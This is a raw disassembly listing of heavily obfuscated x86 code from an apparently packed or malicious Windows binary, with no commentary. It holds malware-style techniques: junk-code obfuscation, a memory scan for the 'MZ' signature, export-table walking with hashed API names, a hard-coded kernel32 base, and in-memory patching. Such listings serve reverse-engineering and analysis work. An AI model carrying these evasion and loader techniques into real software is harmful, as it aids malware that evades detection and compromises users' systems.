loc_40D13B:				; CODE XREF: o45kw3t9:0040BE6Aj
		ror	eax, 1Bh

; =============== S U B	R O U T	I N E =======================================



sub_40D13E	proc near		; CODE XREF: sub_40B160:loc_40FADEp
		mov	[esp+0], eax
		pop	eax
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		push	offset loc_409000
		jmp	nullsub_39
sub_40D13E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CE59


loc_40D152:				; CODE XREF: sub_40CE59+Aj
		adc	ebp, ecx
		popf
		xor	ecx, 9D40CA7Bh


loc_40D15B:				; CODE XREF: sub_40B540:loc_40EF1Cj
		mov	eax, [ebp-4]
		xor	edx, edx
		call	sub_4090AA
		sbb	esi, edi
		jmp	sub_40BFBB
; END OF FUNCTION CHUNK	FOR sub_40CE59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_40D16C:				; CODE XREF: sub_40F02A:loc_40CE0Ej
		jz	loc_40A43A
		jmp	loc_409327
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------


loc_40D177:				; CODE XREF: o45kw3t9:0040C763j
		xor	ecx, edx

; =============== S U B	R O U T	I N E =======================================



sub_40D179	proc near		; CODE XREF: sub_40A846:loc_40BD22p

; FUNCTION CHUNK AT 0040A267 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040C4C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CD29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E646 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410146 SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax+0Ch]
		jmp	loc_40E646
sub_40D179	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BD84


loc_40D185:				; CODE XREF: sub_40BD84+3002j
		push	eax
		rol	eax, 12h
		mov	ds:dword_40E42C, eax
; END OF FUNCTION CHUNK	FOR sub_40BD84
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D031


loc_40D190:				; CODE XREF: sub_40D031-3C6Ej
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_40D031
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A474


loc_40D195:				; CODE XREF: sub_40A474+Cj
					; sub_40BD84+2FEDj
		ror	eax, 12h
		push	eax
		call	sub_40A01C
		retn
; END OF FUNCTION CHUNK	FOR sub_40A474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A4CC


loc_40D19F:				; CODE XREF: sub_40A4CC+Dj
		jmp	nullsub_90
; END OF FUNCTION CHUNK	FOR sub_40A4CC
; ---------------------------------------------------------------------------


loc_40D1A4:				; DATA XREF: sub_40A467+2A30o
		jz	loc_40D1B2
		mov	ebx, [ebx+ecx]
; START	OF FUNCTION CHUNK FOR sub_40BFBB


loc_40D1AD:				; CODE XREF: sub_40BFBB+2C65j
		call	sub_409263


loc_40D1B2:				; CODE XREF: sub_40BFBB-2472j
					; sub_40BFBB+4j ...
		jb	loc_40B658
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		jmp	loc_40D6A6
; END OF FUNCTION CHUNK	FOR sub_40BFBB

; =============== S U B	R O U T	I N E =======================================



sub_40D1C4	proc near		; DATA XREF: o45kw3t9:0040EDF6o

; FUNCTION CHUNK AT 0040B1E2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040BADD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CF38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FD6B SIZE 00000024 BYTES

		add	eax, 0E8B5A821h
		mov	ds:dword_40B35C, eax


loc_40D1D0:				; CODE XREF: o45kw3t9:00409046j
					; o45kw3t9:0040AAF8j
		sub	eax, 0E8B5A821h
		ror	eax, 10h
		jmp	loc_40CF38
sub_40D1C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E014


loc_40D1DE:				; CODE XREF: sub_40E014:loc_40B874j
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		add	eax, edx
		mov	eax, [eax]
		jmp	loc_409AEB
; END OF FUNCTION CHUNK	FOR sub_40E014
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C6B7


loc_40D1F4:				; CODE XREF: sub_40C6B7-A95j
		jmp	nullsub_110
; END OF FUNCTION CHUNK	FOR sub_40C6B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40D1F9:				; CODE XREF: sub_40A551+203Aj
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		jmp	loc_40EA33
; END OF FUNCTION CHUNK	FOR sub_40A551
; ---------------------------------------------------------------------------


loc_40D20A:				; CODE XREF: o45kw3t9:00409FFAj
		push	ecx
		xor	ebx, 28D1C7E4h
		ror	eax, 11h
		jmp	loc_40CF42
; ---------------------------------------------------------------------------


loc_40D219:				; CODE XREF: o45kw3t9:0040F06Aj
		jnb	loc_40C0F4

; =============== S U B	R O U T	I N E =======================================



sub_40D21F	proc near		; CODE XREF: sub_40D740-1EF2p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040CA6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E288 SIZE 0000001B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		call	sub_40D026
		push	eax
		push	75E5CB38h
		jmp	loc_40E288
sub_40D21F	endp

; ---------------------------------------------------------------------------
		call	sub_40D23A
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40D23A	proc near		; CODE XREF: o45kw3t9:0040D234p
		push	ebp
		push	offset sub_40EABC
		jmp	nullsub_152
sub_40D23A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B029


loc_40D245:				; CODE XREF: sub_40B029+4FD0j
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_40FFEB
		jmp	loc_40A81D
; ---------------------------------------------------------------------------


loc_40D254:				; CODE XREF: sub_40B029:loc_40FFEBj
		push	eax
		push	0
		call	sub_40D368
		pop	eax
		jmp	loc_40D35A
; END OF FUNCTION CHUNK	FOR sub_40B029
; ---------------------------------------------------------------------------


loc_40D262:				; CODE XREF: o45kw3t9:0040A4E6j
		jbe	loc_40A113

; =============== S U B	R O U T	I N E =======================================



sub_40D268	proc near		; CODE XREF: o45kw3t9:loc_40CAA9p

; FUNCTION CHUNK AT 00409367 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040D575 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0041005C SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_409370
		jmp	loc_409367
sub_40D268	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_40D27E:				; CODE XREF: o45kw3t9:loc_409920j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40D27F:				; CODE XREF: sub_40A742-213j
		jmp	nullsub_40
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40D284:				; CODE XREF: sub_40FE86:loc_40E5E9j
					; DATA XREF: o45kw3t9:0040CCE3o
		and	eax, 7
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_40BEA3
		cmp	dword ptr [ebp-0Ch], 5
		jnz	loc_40BEA3
		jmp	loc_40BE9C
; END OF FUNCTION CHUNK	FOR sub_40FE86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B004


loc_40D2A3:				; CODE XREF: sub_40B004+8j
		pop	ebp
		mov	eax, ds:dword_40CFD4
		push	offset loc_40E039
		jmp	loc_40AACA
; END OF FUNCTION CHUNK	FOR sub_40B004

; =============== S U B	R O U T	I N E =======================================



sub_40D2B4	proc near		; CODE XREF: o45kw3t9:0040918Ej
					; sub_409CFF+22ACp ...

; FUNCTION CHUNK AT 0040FAFA SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	esi
		push	58F298BCh
		pop	esi
		and	esi, 0D615E10Eh
		add	esi, 0B0304EC1h
		xchg	esi, [esp+0]
		jmp	loc_40FAFA
sub_40D2B4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B56D


loc_40D2D3:				; CODE XREF: sub_40B56D:loc_40EA1Fj
		mov	edx, 4CB976E9h
		call	sub_40E858
		pushf
		mov	[esp+0], edx
		jmp	loc_40FEAB
; END OF FUNCTION CHUNK	FOR sub_40B56D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFFD


loc_40D2E6:				; CODE XREF: sub_40DFFD:loc_40E8D8j
		pop	ebx
		and	ebx, 6A2442D7h
		sub	ebx, 4A0CCED8h
		add	ebx, 0E84D9D05h
		xchg	ebx, [esp+0]
		jmp	loc_40C22F
; END OF FUNCTION CHUNK	FOR sub_40DFFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_40D301:				; CODE XREF: sub_40E6E8-22DFj
		pop	ecx
		jmp	loc_40FE30
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40D307:				; CODE XREF: sub_40EC83-2505j
		sub	ebp, 0A9615C93h
		jmp	loc_40933A
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------


loc_40D312:				; CODE XREF: o45kw3t9:0040C66Dj
		jz	loc_40C3F9
		jmp	loc_40C747
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40D31D:				; CODE XREF: sub_40939B:loc_40EA29j
		mov	eax, [ebp-20h]
		call	sub_40D32E
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_40B628
; END OF FUNCTION CHUNK	FOR sub_40939B

; =============== S U B	R O U T	I N E =======================================



sub_40D32E	proc near		; CODE XREF: sub_40939B+3F85p

; FUNCTION CHUNK AT 0040A028 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C6A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040CC3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D582 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E72A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040E8EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F100 SIZE 00000013 BYTES

		push	ebp
		jmp	loc_40CC3C
sub_40D32E	endp

; ---------------------------------------------------------------------------
		xor	esi, 0DB1B355Dh
		jnz	loc_40B1CA
		jmp	sub_40FEFA
; ---------------------------------------------------------------------------


loc_40D345:				; CODE XREF: o45kw3t9:0040DF1Cj
		sbb	esi, 56F08ED5h

; =============== S U B	R O U T	I N E =======================================



sub_40D34B	proc near		; CODE XREF: sub_40CC20-390Fp

; FUNCTION CHUNK AT 0040A450 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040B6B0 SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	42DC2554h
		pop	edi
		jmp	loc_40B6B0
sub_40D34B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B029


loc_40D35A:				; CODE XREF: sub_40B029+2234j
		cmp	dword ptr [eax], 0
		jnz	loc_40FFEB
		jmp	loc_40CAAE
; END OF FUNCTION CHUNK	FOR sub_40B029

; =============== S U B	R O U T	I N E =======================================



sub_40D368	proc near		; CODE XREF: sub_40A91A-C6Fp
					; sub_40B029+222Ep ...

; FUNCTION CHUNK AT 00409E78 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D595 SIZE 00000002 BYTES

		jnz	sub_40E93E
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		jmp	loc_409E78
sub_40D368	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	ecx, 0BECAED6Dh
		jmp	loc_40F023
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB50


loc_40D384:				; CODE XREF: sub_40DB50+15j
		jmp	loc_40CBC1
; END OF FUNCTION CHUNK	FOR sub_40DB50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40D389:				; CODE XREF: sub_40AC2F:loc_40D3B8j
		jnz	loc_409580
		jmp	loc_4092B3
; END OF FUNCTION CHUNK	FOR sub_40AC2F

; =============== S U B	R O U T	I N E =======================================



sub_40D394	proc near		; CODE XREF: sub_40988C:loc_40C2ECp
					; o45kw3t9:0040D619j

; FUNCTION CHUNK AT 00409FE6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040BAD8 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		jmp	loc_409FE6
sub_40D394	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3AB	proc near		; DATA XREF: sub_40D740:loc_40AEF3o
		xchg	eax, edx
		call	sub_40E858
		retn
sub_40D3AB	endp

; ---------------------------------------------------------------------------
		dw 3825h
dword_40D3B4	dd 7C800000h						; sub_4090F8:loc_40D6E3r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40D3B8:				; CODE XREF: sub_40AC2F+2DDj
		jmp	loc_40D389
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40D3BD:				; CODE XREF: sub_409FA8+Bj
		jmp	loc_409844
; END OF FUNCTION CHUNK	FOR sub_409FA8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40D3C4:				; CODE XREF: sub_40909E+1AE0j
		mov	ebx, ebp
		jmp	loc_40C61B
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE14


loc_40D3CB:				; CODE XREF: sub_40DE14:loc_40E2A4j
		add	edx, 0FCF35A8Fh
		xchg	edx, [esp+0]
		jmp	sub_40E858
; END OF FUNCTION CHUNK	FOR sub_40DE14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B540


loc_40D3D9:				; CODE XREF: sub_40B540+Aj
		rol	edx, 5
		add	edx, eax
		rol	edx, 5
		xor	edx, esi
		rol	edx, 5
		add	edx, edi
		rol	edx, 5
		jmp	loc_40ABD8
; END OF FUNCTION CHUNK	FOR sub_40B540
; ---------------------------------------------------------------------------


loc_40D3F0:				; DATA XREF: sub_409CCC+1BD5o
		add	edi, ebp
		add	edi, 47E3A811h
		push	offset sub_40B540
		jmp	locret_40987B

; =============== S U B	R O U T	I N E =======================================



sub_40D402	proc near		; CODE XREF: sub_40DCEE-43D4j
					; sub_409AD7+5p
		mov	[esp+0], eax
		pop	eax
		call	sub_40E858
		push	eax
		rol	eax, 14h
		mov	ds:dword_40CFEC, eax
		retn
sub_40D402	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pushf
		jmp	loc_409671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40D41C:				; CODE XREF: sub_409726:loc_40CAA4j
		jge	loc_40A260
		not	ebx
		jmp	loc_40B4E1
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40D429:				; CODE XREF: sub_40A259+16BCj
		call	sub_40A01C
		retn
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------


loc_40D42F:				; CODE XREF: o45kw3t9:0040A2F1j
		jmp	loc_40AC6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A91A


loc_40D434:				; CODE XREF: sub_40A91A-AA7j
		jmp	loc_409CA8
; END OF FUNCTION CHUNK	FOR sub_40A91A

; =============== S U B	R O U T	I N E =======================================



sub_40D439	proc near		; CODE XREF: sub_409FA8:loc_409E01p
					; sub_40980B:loc_40B31Dp

var_8		= dword	ptr -8

		push	eax
		push	0A4AD8AABh
		xor	[esp+8+var_8], 0A4AD8AABh
		call	sub_40B7A3


loc_40D44B:				; CODE XREF: sub_409AD7:loc_40E8FEj
		call	sub_40D726


loc_40D450:				; CODE XREF: sub_40C276:loc_409660j
		jmp	nullsub_43
sub_40D439	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40D456:				; CODE XREF: o45kw3t9:loc_40B357j
		mov	eax, [ebp-10h]
; START	OF FUNCTION CHUNK FOR sub_40C2E1


loc_40D459:				; CODE XREF: sub_40C2E1:loc_40C333j
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		jmp	loc_40B202
; END OF FUNCTION CHUNK	FOR sub_40C2E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40D467:				; CODE XREF: sub_40EC83-5943j
		jz	loc_40A64A
		push	ebp
		test	edi, ecx
		jmp	loc_40FC83
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410153


loc_40D475:				; CODE XREF: sub_410153+4j
		call	sub_40A299
; END OF FUNCTION CHUNK	FOR sub_410153
; START	OF FUNCTION CHUNK FOR sub_40BAE8


loc_40D47A:				; CODE XREF: sub_40BAE8+8BCj
		jmp	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_40BAE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40D47F:				; CODE XREF: sub_40ABFA-F9Dj
		jmp	loc_40FFAE
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40D484:				; CODE XREF: sub_40AD7A:loc_40C254j
		mov	byte ptr [eax],	0C3h
		push	edx
		push	97F6DE9Ah
		pop	edx
		jmp	loc_40D51B
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40D493:				; CODE XREF: sub_40A551+5CB0j
		mov	al, [eax]
		mov	edx, [ebp-20h]
		mov	[edx], al
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	2Eh
		jnz	loc_40C155
		mov	eax, [ebp-20h]
		jmp	loc_40B1BD
; END OF FUNCTION CHUNK	FOR sub_40A551
; ---------------------------------------------------------------------------
		test	esi, 2A5EB6D5h
		jmp	loc_40BDF5
; ---------------------------------------------------------------------------
		push	0AC51C881h
		jmp	loc_40946C
; ---------------------------------------------------------------------------


loc_40D4C6:				; CODE XREF: o45kw3t9:0040C096j
		jnb	loc_40A237
		test	ebp, esi
		jmp	loc_40CAE3
; ---------------------------------------------------------------------------


loc_40D4D3:				; DATA XREF: sub_40A742-645o
		dec	eax
		call	sub_40B745
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40D4DA:				; CODE XREF: sub_40A3A2:loc_4092B3j
		shl	ebx, 17h
		adc	ebp, 5B6DF790h
		popf
		jmp	loc_409580
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------


loc_40D4E9:				; CODE XREF: o45kw3t9:loc_40C307j
		pop	edx
		xor	edx, 2827D077h
		test	edx, 40000h
		jmp	loc_40DBB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB55


loc_40D4FB:				; CODE XREF: sub_40FB55:loc_409A8Cj
		jnz	loc_4095E1
		jmp	loc_40F0F0
; END OF FUNCTION CHUNK	FOR sub_40FB55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B56D


loc_40D506:				; CODE XREF: sub_40B56D:loc_40A59Fj
		sub	ebx, 70B9BDB3h
		add	ebx, 84FCF0B8h
		mov	[ebx], eax
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40B56D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FDEF


loc_40D516:				; CODE XREF: sub_40FDEF+1j
		jmp	loc_40A5C7
; END OF FUNCTION CHUNK	FOR sub_40FDEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40D51B:				; CODE XREF: sub_40AD7A+2714j
		jmp	loc_40A641
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACAB


loc_40D520:				; CODE XREF: sub_40ACAB+6j
		ror	eax, 4
		jmp	loc_409FA3
; END OF FUNCTION CHUNK	FOR sub_40ACAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40D528:				; CODE XREF: sub_40A6F8+83j
		push	eax
		rol	eax, 18h
		mov	ds:dword_40E3CC, eax
		retn
; ---------------------------------------------------------------------------


loc_40D533:				; CODE XREF: sub_40A6F8+Cj
		ror	eax, 18h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40A6F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BAE8


loc_40D538:				; CODE XREF: sub_40BAE8+Fj
					; o45kw3t9:loc_40C087j
		jmp	loc_40C3A1
; END OF FUNCTION CHUNK	FOR sub_40BAE8
; ---------------------------------------------------------------------------
		jmp	loc_409B79

; =============== S U B	R O U T	I N E =======================================



sub_40D542	proc near		; CODE XREF: sub_40DB3D-445Dp
		push	ebp
		jmp	loc_40D8B8
sub_40D542	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF7C


loc_40D548:				; CODE XREF: sub_40CF7C:loc_40C769j
		call	sub_40EA96
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_40F5E8
; END OF FUNCTION CHUNK	FOR sub_40CF7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40D556:				; CODE XREF: sub_40939B:loc_409146j
		test	byte ptr [ebp-8], 40h
		jz	loc_40B559
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_40A5A4
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40980B


loc_40D569:				; CODE XREF: sub_40980B+Cj
					; o45kw3t9:0040A0EBj ...
		mov	esp, ebp
		call	sub_409EC7


loc_40D570:				; CODE XREF: sub_40BFBB-95Ej
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_40980B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D268


loc_40D575:				; CODE XREF: sub_40D268-3EF4j
		jmp	loc_41005C
; END OF FUNCTION CHUNK	FOR sub_40D268
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40D57D:				; CODE XREF: sub_40FE86+7j
		jmp	loc_41009A
; END OF FUNCTION CHUNK	FOR sub_40FE86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D32E


loc_40D582:				; CODE XREF: sub_40D32E+140Dj
		jmp	loc_40FFD8
; END OF FUNCTION CHUNK	FOR sub_40D32E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D587	proc near		; CODE XREF: o45kw3t9:loc_40DA77j
					; DATA XREF: sub_40B76E-13B2o

; FUNCTION CHUNK AT 00409D44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B99D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BCE5 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0040DF8A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EAEA SIZE 00000010 BYTES

		push	edx
		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		push	0FFFFFFF1h
		jmp	loc_40DF8A
sub_40D587	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D368


loc_40D595:				; CODE XREF: sub_40D368:loc_409E7Ej
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40D368

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D597	proc near		; CODE XREF: sub_40E76D-2E89p
		push	ebp
		mov	ebp, esp
		xchg	ecx, ebx
		call	sub_40FE86


loc_40D5A1:				; CODE XREF: o45kw3t9:0041002Aj
		jmp	sub_40CEFE
sub_40D597	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7CF


loc_40D5A6:				; CODE XREF: sub_40A7CF:loc_40A7DBj
		mov	al, [eax]
		sub	al, 99h
		mov	edx, ds:dword_40E534
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_40E341
		jmp	loc_40EB04
; END OF FUNCTION CHUNK	FOR sub_40A7CF

; =============== S U B	R O U T	I N E =======================================



sub_40D5BF	proc near		; CODE XREF: sub_40D740+1CCj
					; o45kw3t9:0040EAFFp

; FUNCTION CHUNK AT 0040975A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040B78B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040C736 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040CE8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D09C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040E0A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E83D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FB29 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jmp	loc_40CE8A
sub_40D5BF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E692


loc_40D5D6:				; CODE XREF: sub_40E692+18CBj
		xchg	edi, [eax]
		jnb	loc_40C891


loc_40D5DE:				; CODE XREF: sub_40E692:loc_40A600j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_40B757
; END OF FUNCTION CHUNK	FOR sub_40E692
; ---------------------------------------------------------------------------


loc_40D5E9:				; DATA XREF: sub_40943A+21o
		cmp	dword ptr [ebp-4], 0
		jnz	loc_40908E
		lea	eax, [ebp-125h]
		push	eax
		jmp	loc_40AE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A5DE


loc_40D5FF:				; CODE XREF: sub_40A5DE:loc_40CFB4j
		add	eax, ebp
		add	eax, 0E1424229h
		push	eax
		push	4
		push	28h
		push	offset sub_40CE59
		jmp	nullsub_54
; END OF FUNCTION CHUNK	FOR sub_40A5DE
; ---------------------------------------------------------------------------
		ror	edi, 0Ch
		jmp	sub_40D394
; ---------------------------------------------------------------------------


loc_40D61E:				; DATA XREF: sub_40C1A5+15o
		xchg	edx, [esp]
		jmp	nullsub_134
; ---------------------------------------------------------------------------

locret_40D626:				; CODE XREF: o45kw3t9:loc_40B23Aj
		retn
; ---------------------------------------------------------------------------
		xor	ebx, 5A6E987Eh
		jmp	sub_40A742
; ---------------------------------------------------------------------------
		push	ecx
		jmp	sub_40B745
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41010B


loc_40D639:				; CODE XREF: sub_41010B+3j
		jmp	loc_40D92B
; END OF FUNCTION CHUNK	FOR sub_41010B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40D63E:				; CODE XREF: sub_40C674:loc_40B79Ej
		jmp	loc_40BF28
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409263


loc_40D643:				; CODE XREF: sub_409263:loc_40926Cj
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_40926C
		retn
; END OF FUNCTION CHUNK	FOR sub_409263
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_40D658:				; CODE XREF: sub_40EABC-4D3Bj
		jz	loc_40C0DF


loc_40D65E:				; CODE XREF: o45kw3t9:loc_40E97Cj
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h
